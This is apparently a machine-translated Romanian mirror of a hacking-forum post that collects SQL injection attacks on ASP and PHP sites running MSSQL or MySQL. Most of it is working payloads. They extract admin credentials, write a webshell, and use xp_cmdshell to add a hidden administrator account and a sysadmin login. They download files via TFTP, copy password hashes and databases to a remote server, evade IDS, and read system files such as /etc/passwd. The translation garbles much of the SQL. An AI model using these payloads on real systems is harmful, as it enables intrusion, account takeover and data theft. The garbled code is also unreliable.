Acest articol este un articol oglindă al traducerii automate, vă rugăm să faceți clic aici pentru a sări la articolul original.

Vedere: 20889|Răspunde: 2

[Comunicare sigură] SQL Injection Book - Vulnerabilitatea ASP Injection Full Contact

[Copiază linkul]
Postat pe 28.09.2015 18:21:41 | | |


Interogări MSSQL cross-database (mâncare mirositoare urâtă!) Întunecat)

Scoate până la ultima picătură de MS SQL

Referințele la instrucțiuni SQL și obiectele de la recordet sunt explicate în detaliu

Despre procedurile stocate în SQL Server

Creează un webshell cu backup mssql

SQL_Injection aplicații avansate

Injectare SQL cross-site (laokai)

Injectarea SQL ciudată (AMANL)

Injecția SQL avansată în aplicațiile SQL Server

Cum să folosești injecția SQL pentru a parcurge directoarele

Ghid al tehnicilor de injecție SQL (Traducător: demonalex)

Unele atacuri asupra bazelor de date SQL

Tehnica de Atac prin Injecție SQL (JSW)

SQL_Injection Aplicații avansate (APACHY)

Metode rare de injecție SQL (Guilin Veteran)

Fă backup unui shell

Vorbește despre structura instrucțiunilor de injecție php+mysql (Heyhehehehe·≯Super· Hei)

Injectare SQL avansată cu MySQL(angel)

L'injection (My)SQL via PHP

Limbajul Oracle SQL

Enciclopedia de injectare manuală SQL

Cerințele prealabile necesită unelte: SQL Query Analyzer și SqlExec Sunx Version
==============================================================================================
1. Determinarea existenței unui punct de injecție
; și 1=1 și 1=2
2. Presupun că numele tabelului nu este altceva decât admin, administrator utilizator user, parolă, etc.:
și 0<>(select count(*) de la *)
și 0<>(select count(*) din admin) — Determină dacă tabelul admin există
3. Ghicește numărul de conturi Dacă întâlnești 0< întoarce-te la pagina corectă 1< returnează pagina de eroare pentru a indica că numărul de conturi este 1
și 0<(select count(*) de la admin)
și 1<(select count(*) de la admin)
4. Ghicește numele câmpului Adaugă numele câmpului la care ne gândim între paranteze len( ).
și 1=(select count(*) din admin unde len(*)>0)–
și 1=(selectează numărătoarea(*) de la admin unde len(numele câmpului utilizator)>0)
și 1=(selectează count(*) din admin unde len(_blank>numele câmpului parolă)>0)
5. Ghicește lungimea fiecărui câmp Ghicește lungimea este să se transforme >0 până când pagina corectă este returnată
și 1=(select count(*) din admin unde len(*)>0)
și 1=(select count(*) din admin unde eroarea len(name)>6)
și 1=(selectează numărul(*) din admin unde len(name)>5) Lungimea corectă este 6
și 1=(select count(*) din admin unde len(name)=6) este corect
și 1=(select count(*) din admin unde len(password)>11) este corect
și 1=(select count(*) de la admin unde lungimea erorii len(password)>12) este 12
și 1=(select count(*) din admin unde len(password)=12) este corect
6. Ghicește personajele
și 1=(select count(*) de la admin unde left(name,1)=a) — Ghicește prima cifră a contului utilizatorului
și 1=(select count(*) de la admin unde left(name,2)=ab)—Ghicește a doua cifră a contului utilizatorului
Adaugă câte un caracter pe rând să ghicesc, ghicește atâtea cifre câte ai ghicit, iar numărul contului va apărea
(1) Ghicește numele mesei

Propoziții folosite:
și există (selectează * din numele tabelului)

De exemplu:
și există (selectează * din admin)

Dacă pagina reflectă corect, înseamnă că numele tabelului pe care l-am ghicit aici este corect, iar dacă pagina este greșită, înseamnă că numele tabelului pe care l-am scris aici este greșit

, apoi schimbă numele tabelului și continuă să ghicești până când ghici.

În general, denumirile de tabele folosite frecvent includ admin, manage, user sau pune în rularea uneltei
(2) Ghicește câmpul

Propoziții folosite:
și există (selectează numele câmpului din numele tabelului)

De exemplu:
și există (selectează numele de utilizator de la admin)

Aici, presupunând că tabelul admin este tabelul pe care l-am ghicit corect mai sus, atunci vreau să determin dacă câmpul de nume de utilizator există, trebuie să folosesc această afirmație, dacă pagina

Dacă ecoul feței este corect, înseamnă că numele câmpului pe care l-am ghicit aici este corect, iar dacă pagina este greșită, înseamnă că numele câmpului pe care l-am scris aici este greșit

, apoi schimbă numele câmpului și continuă să ghicești până când ghici.

În general, numele comune de câmpuri includ username, password, user, pass, name, pass, pwd, usr, psd și alte câmpuri
(3) ordine după

Order by este să obții suma numărului de câmpuri de pe acea pagină, pregătindu-te pentru următoarea interogare comună
(4) Union Select

  1. Dacă suporti interogarea în comun, găsește bitul de afișare http://www.xxx.com/product_show.asp?id=1 și selectarea uniunii 1=2

1,2,3,4,5,6,7,8,9,10,11
Să presupunem că biții de afișare sunt 5,6. Apoi, trebuie doar să înlocuim numele câmpurilor corespunzătoare numelui de utilizator și parola administratorului cu poziția bitului de afișare aici
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select

1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 de la administrator a găsit autentificarea de fundal
  2. Dacă interogarea comună nu este suportată
Numele de utilizator și parola administratorului nu pot fi obținute fără interogare comună – folosind decodarea Ascii cuvânt cu cuvânt
Doi
  Folosește order by pentru a judeca numărul de biți din tabel, iar dacă nu funcționează, folosește union select pentru a-i aranja unul câte unul, aici presupunem 8 biți
Trei
  Folosiți o interogare comună pentru a determina biții de afișare
Patru
  Folosiți bitul de afișare pentru a găsi numele bazei de date, versiunea bazei de date, 5.0 sau versiune superioară care poate fi injectată
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database

(),0x5c,user(),0x5c,
versiune(),8
Cinci
  Cu numele de bază de date, poți începe să obții schema de nume de tabel = urmată de valoarea HEX a numelui bazei de date și să ghicești numele tabelului
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT

+table_name),8
+la+information_schema.coloane+unde+
table_schema=0x666C6965725F6462617365
Șase
  Numele tabelului analizat determină valoarea HEX a tabelului administratorului=numele tabelului și ghicește câmpurile din tabel
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT

+column_name),8+
de la +information_schema.coloane+unde+table_name=0x7075625F7765626D6173746572
Șapte
  După ce obținem câmpurile din tabelul de administrare, să luăm conținutul câmpurilor
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT

+nume utilizator,
0x5f,userpwd),8+dină+pub_webmaster
Opt
  Tool scanează fundalul: Conectează-te pentru a încărca troianul după ce îl găsești, iar dacă nu găsești fișierul robots.txt poți accesa
Nouă
  Dacă nu găsești fundalul, parola administratorului MYSQL va fi expusă
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat

(utilizator, parolă), 8+de la+mysql.user
Zece
  Accesează aleatoriu o cale, iar feedback-ul este pagina implicită 404 a IIS6, indicând că serverul site-ului este: Windows+IIS6+php+MySql mediu
  c:\\windows\\system32\\inetsrv\\MetaBase.xml Această cale poate obține informații despre configurarea site-ului.
  Instrucțiuni construct http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file

(0x633A5C5C77696E646F77735C
  5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8
Unsprezece
  Analizează codul și găsește adresa de fundal
  În primul pas, trebuie să obținem lungimea câmpurilor din tabel
Declarații folosite:
și (selectează top 1 lentile (numele domeniului) din numele tabelului)>0
De exemplu:
și (selectează top 1 len(admin_name) din admin)>0
Pagina este afișată normal, lungimea câmpului admin_name este mai mare decât 0 și voi trimite:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10
Pagina afișează o eroare care indică faptul că câmpul este între 0 și 10, iar lungimea este 5 folosind dihotomia
Folosind aceeași metodă pentru a determina lungimea câmpului pentru parola administratorului, obțin o lungime de 16
  Pasul 2
Acum să trecem la al doilea pas, să luăm un anumit caracter din câmp și să obținem codul ASCII al caracterului, care este folosit

Declarație:
și (selectează top 1 asc(mid(numele terenului, N,1)) din numele tabelului)>0
Să analizez această propoziție separat, mai întâi funcția cea mai interioară (username, 1,1), care este primul caracter al câmpului admin_name, N

indică faptul că primele câteva caractere trebuie interceptate,
Atunci funcția exterioară asc(), care transformă caracterele interceptate de funcția de mijloc în cod ASCII, cel mai exterior top 1, reprezintă câmpul de returnare al primului loc

Un record, deci,
">0" de la final este pentru a compara codul ASCII convertit cu acest număr și, în final, pentru a obține interceptarea prin schimbarea constantă a ultimei valori

Află detaliile acestui personaj
Cod ASCII
Trimitere:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>30
Pagina este afișată normal, indicând că codul ASCII al acestui caracter este mai mare de 30.
Trimitere:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>90
Pagina este afișată normal, indicând că codul ASCII al acestui caracter este mai mare de 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)=97
Codul ASCII pe care l-am obținut pentru acest personaj este 97
Compară tabelul ASCII:
Se poate concluziona că primul caracter este "a".
Apoi voi judeca codul ASCII al celui de-al doilea caracter.

http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from

admin)>90
Pagina este afișată normal, indicând că codul ASCII al caracterului este mai mare de 90, iar ultima valoare este întotdeauna schimbată
Aceeași metodă a dat parola administratorului, iar rezultatul pe care l-am obținut a fost:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from

admin)=52
și 1=(selectează top 1 count(*) din Admin unde Asc(mid(pass,5,1))=51) –
Această instrucțiune de interogare poate ghici utilizatorul chinez și parola _blank>. Doar înlocuiește următoarele numere cu codul ASSIC chinezesc

Convertește în caractere.

grupează după users.id având 1=1–www.myhack58.com
grupează după users.id, username, users.password, users.privs având 1=1–
; inserează în utilizatori valorile ( 666, attacker, foobar, 0xffff )–

UNION Select TOP 1 COLUMN_blank>_NAME DIN INFORMATION_blank>_SCHEMA. COLOANE Unde

TABLE_blank>_NAME=logintable-
UNION Select TOP 1 COLUMN_blank>_NAME DIN INFORMATION_blank>_SCHEMA. COLOANE Unde

TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN (login_blank>_id)-
UNION Select TOP 1 COLUMN_blank>_NAME DIN INFORMATION_blank>_SCHEMA. COLOANE Unde

TABLE_blank>_NAME=logintable Unde COLUMN_blank>_NAME NU ESTE ÎN

(login_blank>_id,login_blank>_name)-
UNION Select TOP 1 login_blank>_name DIN logintable-
UNION Selectează parola TOP 1 FROM logintable unde login_blank>_name=Rahul–
Uită-te la patch-ul jucat de serverul _blank> = patch SP4 greșit black bar safe net net
și 1=(selectează @@VERSION)–

Uită-te la permisiunile contului _blank> de conexiune de bază de date și returnează normal, dovedind că este permisiunea sysadminului rolului de server _blank>.
și 1=(Select IS_blank>_SRVROLEMEMBER(sysadmin)–

Determină contul de bază de date _blank> conectat. (Folosește contul SA pentru a te conecta și returna normal = dovedește că contul conectat este SA)
și sa=(Selectează System_blank>_user)–
și user_blank>_name()=dbo–
și 0<>(select user_blank>_name()–

Vezi dacă xp_blank>_cmdshell șterge
și 1=(Select count(*) FROM master.dbo.sysobjects Unde xtype = X ȘI name = xp_blank>_cmdshell)



xp_blank>_cmdshell este șters, restaurat și suportă recuperarea absolută a căilor
; EXECUTIV master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll–
; EXECUTIV master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll–
============================== permisiunea bazei de date este expusă codului fizic de traseu al site-ului

==========================================================================
1、Drop Table [jm_tmp]; Create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000)

null) -- Creează tabel


2、 șterge [jm_tmp]; inserează [jm_tmp] executiv master.dbo.xp_regread

'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--

Introdu directorul site-ului în câmpul tabel


3、and (selectează top 1 cast([data] ca nvarchar(4000) char(124) din [jm_tmp] ordinea de [data]

desc)=0 '//Câmp expus


4. drop table [jm_tmp] -- șterge acest tabel.
pentru ca comanda să obțină carcasa
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i
>>d:\Alte trasee ale stației
======================load_file() Informații sensibile utilizate frecvent ===========================================
1、 înlocuire(load_file(0×2F6574632F706173737764),0×3c,0×20)

2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)), char(60),char(32))
Cele două de mai sus sunt pentru a vizualiza un fișier PHP care afișează complet codul. Există momente când unele caractere nu sunt înlocuite, cum ar fi "<" în loc de "space" care returnează

Pagina web. Și codul nu poate fi vizualizat.

3. load_file(char(47)) poate lista directorul rădăcină al sistemelor FreeBSD și Sunos

4. Vizualizează fișierul de configurare virtuală Linux APACHE în /etc/httpd/conf/httpd.conf sau /usr/local/apche/conf/httpd.conf

5. C:\Program Files\Apache Group\Apache\conf\httpd.conf sau C:\apache\conf\httpd.conf pentru a vizualiza WINDOWS

Fișier System Apache

6. c:/Resin-3.0.14/conf/resin.conf Vizualizați informațiile de configurare a fișierelor de rășină ale site-ului dezvoltat de jsp.

7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf pentru a vizualiza gazda virtuală JSP configurată pe sistemul Linux

8、d:\APACHE\Apache2\conf\httpd.conf

9、C:\Program Files\mysql\my.ini

10、.. /teme/darkblue_orange/layout.inc.php phpmyadmin explodează path

11. C:\Windows\system32\inetsrv\MetaBase.xml Vizualizați fișierul de configurare virtual al gazdei IIS

12. /usr/local/resin-3.0.22/conf/resin.conf pentru a vizualiza fișierul de configurare RESIN pentru 3.0.22

13. /usr/local/resin-pro-3.0.22/conf/resin.conf La fel ca mai sus

14. /usr/local/app/apache2/conf/extratpd-vhosts.conf Gazdă virtuală APASHE

15. /etc/sysconfig/iptables depinde de politica firewall-ului

16. /usr/local/app/php5 b/php.ini setări echivalente cu PHP

17. /etc/my.cnf fișier de configurare MYSQL

18. /etc/versiunea Red Hat pentru sistemul de lansare redhat

19 、C:\mysql\data\mysql\user. MYD există în parola utilizatorului în sistemul MYSQL

20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 pentru a vizualiza IP-ul.

21. /usr/local/app/php5 b/php.ini //setări legate de PHP

22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // setări web virtual

23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini

24、c:\Windows\my.ini

25. /etc/issue afișează informațiile de distribuție ale nucleului Linux

26、/etc/ftpuser

27. Verifică fișierul de jurnal de operațiuni sub LINUX user.bash_history sau .bash_profile

28、/etc/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log
.. /apache/loguri/error.log
.. /apache/logs/access.log
.. /.. /apache/loguri/error.log
.. /.. /apache/logs/access.log
.. /.. /.. /apache/loguri/error.log
.. /.. /.. /apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
.. /apache/loguri/error.log     
.. /apache/logs/access.log
.. /.. /apache/loguri/error.log
.. /.. /apache/logs/access.log
.. /.. /.. /apache/loguri/error.log
.. /.. /.. /apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log
========================================================
Fă tu însuți experimentul PING invers
; folosește maestr; declară @s int; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s out; Executiv

sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –

Adaugă un cont
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–

Creează un disc electronic de director virtual:
; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–

Atribute de acces: (scriind într-un webshell)
declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

Truc special _blank> pentru bursting în bibliotecă: :%5c=\ sau modifică %5 cu / și \ pentru a face commit
și 0<>(selectează căile top 1 din noutabel)–

Obține numele bazei de date (de la 1 la 5 sunt ID-urile sistemului și le poți judeca peste 6)
și 1=(selectează numele din master.dbo.sysdatabases unde dbid=7)–
și 0<>(select count(*) din master.dbo.sysdatabases unde name>1 și dbid=6)
Trimite dbid pe rând = 7,8,9.... Află mai multe nume _blank> baze de date

iar 0<>(selectează numele de top 1 din bbs.dbo.sysobjects unde xtype=U) intră într-un tabel presupunând administrator
și 0<>(selectează numele de top 1 din bbs.dbo.sysobjects unde xtype=tu și name care nu apare în (Admin)).

Alte mese.
și 0<>(select count(*) din bbs.dbo.sysobjects unde xtype=tu și name=admin
și uid>(str(id))) Valoarea numerică a UID-ului este presupusă a fi 18779569 uid=id
iar 0<>(selectează numele de top 1 din bbs.dbo.syscolumns unde id=18779569) primește un câmp admin, false

Setat pe user_blank>_id
și 0<>(selectează numele de top 1 din bbs.dbo.syscolumns unde id=18779569 și numele care nu apare
(id,...)) pentru a expune alte domenii
și 0<(selectează user_blank>_id din BBS.dbo.admin unde username>1) pentru a obține numele de utilizator
La rândul său, poți obține _blank> parolă。。。。。 Să presupunem că există câmpuri precum numele user_blank>_id utilizator, parola etc

și 0<>(select count(*) din master.dbo.sysdatabases unde name>1 și dbid=6)
și 0<>(selectează numele de top 1 din bbs.dbo.sysobjects unde xtype=U) pentru a obține numele tabelului
și 0<>(selectează numele de top 1 din bbs.dbo.sysobjects unde xtype=tu și name not in(Adresă))
și 0<>(select count(*) din bbs.dbo.sysobjects unde xtype=tu și name=admin și uid>(str(id)))

Determinarea valorii id
și 0<>(selectează numele de top 1 din BBS.dbo.syscolumns unde id=773577794) toate câmpurile

?id=-1 uniune selectează 1,2,3,4,5,6,7,8,9,10,11,12,13,* de la admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 de la admin (Union,Access este de asemenea ușor de folosit)

Obține calea WEB
; Creează tabel [dbo]. [schimb] ([swappass][char](255)); –
și (selectează top 1 swappass din swap)=1–
; Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec

Maestre.. xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SISTEM

\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test

OUTPUT inserează în căi(căi) valori(@test)–
; folosiți KU1; –
; create table cmd (imagine str); – Creează un cmd de tabel al tipului de imagine
1. Modul de a elimina procesul de extindere a xp_cmdshell este să se folosească următoarea afirmație:

dacă există (selectează * din dbo.sysobjects unde id=object_id(N'[dbo].[ xpcmdshell]') și

OBJECTPROPERTY(id,N'IsExtendedProc')=1)
executiv sp_dropextendedproc N'[dbo]. [xp_cmdshell]'

2. Modul de a adăuga xp_cmdshell proces de extensie este să se folosească următoarea afirmație:

(1) Analizor de interogări SQL

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

(2) Mai întâi, completați procenturile în opțiunea Format din SqlExec Sunx Version și introduceți-le în opțiunea CMD

sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

îndepărtează

sp_dropextendedproc 'xp_cmdshell'

(3)MSSQL2000

sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
Există xp_blank>_cmdshell procese de testare:
; Șec Teacher.. xp_blank>_cmdshell dir
; executiv master.dbo.sp_blank>_addlogin jiaoniang$; – Adaugă conturi SQL
; Exec master.dbo.sp_blank>_password null,jiaoniang$,1866574; –
; executiv master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin; –
; Utilizator master.dbo.xp_blank>_cmdshell executiv jiaoniang$ 1866574 /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add;–
; exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add; –
Șec Teacher.. xp_blank>_servicecontrol începe, programează începutul _blank> serviciu
Șec Teacher.. xp_blank>_servicecontrol începe, serverul
; DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c utilizator net jiaoniang$ 1866574 /add
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
; Șec Teacher.. xp_blank>_cmdshell tftp - i youip get file.exe – Încărcare fișiere folosind TFTP

; declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
; declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\
; declarați @a; set @a=db_blank>_name(); baza de date de backup @a pe disc=IP-ul tău Directorul tău partajat bak.dat
Dacă este restricționat, da.
selectează * din openrowset(_blank>sqloledb,server; Sa; ,selectează OK! Executiv

master.dbo.sp_blank>_addlogin hax)

Structura interogării:
Selectează * DE la știri Unde id=... ȘI subiect=... ȘI .....
adminand 1=(select count(*) from [user] where username=victim și right(left(userpass,01),1)=1)

și userpass <>
selectează 123; –
; folosește maestr; –
:a sau nume precum fff%; – Afișează un utilizator numit ffff.
și 1<>(select count(email) de la [utilizator]); –
; actualizare [utilizatori] setează email=(selectează numele top 1 din sysobjects unde xtype=tu și status>0) unde

nume=ffff; –
; actualizare [utilizatori] setează email=(selectează ID-ul top 1 din sysobjects unde xtype=tu și name=ad) unde

nume=ffff; –
; actualizare [utilizatori] setează email=(selectează numele top 1 din sysobjects unde xtype=tu și id>581577110)

unde name=ffff; –
; actualizare [utilizatori] setați email=(selectați top 1 count(id) din parolă) unde name=ffff; –
; actualizare [utilizatori] setează email=(selectează top 1 pwd din parolă unde id=2) unde nume=ffff; –
; actualizare [utilizatori] setează email=(selectează nume de top 1 din parolă unde id=2) unde nume=ffff; –
Afirmația de mai sus este să obții primul tabel de utilizator din baza de date _blank> și să pui numele tabelului în câmpul de email al utilizatorului ffff.
Vizualizând profilul utilizatorului de pe ffff, poți obține primul tabel numit AD
Apoi obține ID-ul acestui tabel conform anunțului cu numele tabelului pentru a obține numele celui de-al doilea tabel

inserează în User Values( 666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),

char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)–
inserează în valorile utilizatorilor(667,123,123,0xffff)–
Inserează în User Values (123, admin–, parolă, 0xffff)–
; și user>0
; și (select count(*) din sysobjects)>0
; și (select count(*) din mysysobjects)>0 // pentru baza de date access_blank>

Enumeră numele tabelului de date
; actualizează aaa setează aaa=(selectează numele top 1 din sysobjects unde xtype=tu și status>0); –
Aici este actualizat primul nume de tabel la domeniul AAA.
Citește primul tabel, iar al doilea tabel poate fi citit așa (adaugă și numește după condiție<> numele tabelului pe care tocmai l-ai primit).
; actualizează aaa set aaa=(selectează numele top 1 din sysobjects unde xtype=tu și status>0 și

nume<>vot); –
Atunci id=1552 și există (selectează * din aaa unde aaa>5)
Citește al doilea tabel și citește-l pe rând până nu mai rămâne nimic.
Câmpul de citire arată astfel:
; actualizează aaa set aaa=(selectează top 1 col_blank>_name(object_blank>_id(numele tabelului),1)); –
Apoi id=152 și exists (select * din aaa unde aaa>5) primește o eroare și primește numele câmpului
; actualizează aaa set aaa=(selectează top 1 col_blank>_name(object_blank>_id(numele tabelului),2)); –
Apoi id=152 și exists (select * din aaa unde aaa>5) primește o eroare și primește numele câmpului

[Obține numele tabelului de date] [Actualizează valoarea câmpului la numele tabelului, apoi citește valoarea acestui câmp pentru a obține numele tabelului]
update table name set field=(selectează top 1 name din sysobjects unde xtype=tu și status>0 [ și nume<>

Numele tabelului pe care îl primești Găsește unul plus unu]) [unde condiție] selectează numele de top 1 din sysobjects unde xtype=tu și

Status>0 și numele nu în(tabel1,tabel2,...)
Crearea unui cont de administrator de bază de date și a unui cont de administrator de sistem _blank> _blank> injectarea vulnerabilităților prin SQLSERVER [Contul curent trebuie să fie grupul SYSADMIN]

[Obține numele câmpului Datatable] [Actualizează valoarea câmpului la numele câmpului, apoi citește valoarea acestui câmp pentru a obține numele câmpului]
Update Table Name Set Field=(Select Top 1 col_blank>_name(object_blank>_id (numele tabelului de date către interogare), coloana câmpului

De exemplu: 1) [unde condiția]

Ocolirea detectării IDS [folosind variabile]
; declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
; declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\

1. Deschiderea bazei de date _blank> la distanță
Sintaxă de bază
select * din OPENROWSET(SQLOLEDB, server=nume server; uid=sa; pwd=123, selectează * din tabel1 )
Parametri: (1) Numele furnizorului OLEDB
2. Parametrul șirului de conexiune poate fi orice port de conectare, cum ar fi
select * din OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Network=DBMSSOCN; Adresă=192.168.0.1,1433; ,

selectează * din tabel
3. Copiază întreaga bază de date de _blank> a gazdei țintă și inserează toate tabelele remote în tabelul local.

Sintaxă de bază:
inserează în OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, selectează * din tabel1) selectează

* din tabelul 2
Această instrucțiune linie copiază toate datele din tabelul table2 de pe gazda țintă în tabelul table1 din baza de date _blank> la distanță. Reparații adecvate în aplicare practică

Schimbă adresa IP și portul șirului de conexiune astfel încât să indice unde ai nevoie, de exemplu:
inserează în OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Adresă=192.168.0.1,1433; ,selectează

* din tabel1) selectează * din tabel2
inserează în OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Adresă=192.168.0.1,1433; ,selectează

* din _blank>_sysdatabases)
selectează * din master.dbo.sysdatabases
inserează în OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Adresă=192.168.0.1,1433; ,selectează

* din _blank>_sysobjects)
select * din user_blank>_database.dbo.sysobjects
inserează în OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Adresă=192.168.0.1,1433; ,selectează

* din _blank>_syscolumns)
selectează * din user_blank>_database.dbo.syscolumns
Replică baza _blank> de date:
inserează în OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Adresă=192.168.0.1,1433; ,selectează

* din tabel1) selectează * din baza de date.. Tabel1
inserează în OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Adresă=192.168.0.1,1433; ,selectează

* din tabel2) selectează * din baza de date.. Tabelul2

Hash-ul parolei care copiază autentificarea tabelului hash (HASH) _blank> parola este stocat în sysxlogin-uri. Iată cum:
inserați în OPENROWSET(SQLOLEDB,

uid=sa; pwd=123; Network=DBMSSOCN; Adresă=192.168.0.1,1433; ,selectează * din _blank>_sysxlogins)

select * din database.dbo.sysxlogins
Odată ce obții hash-ul, poți să-l forțezi cu forța.

Pentru a parcurge directorul: Mai întâi, creează un tabel temporar: temp
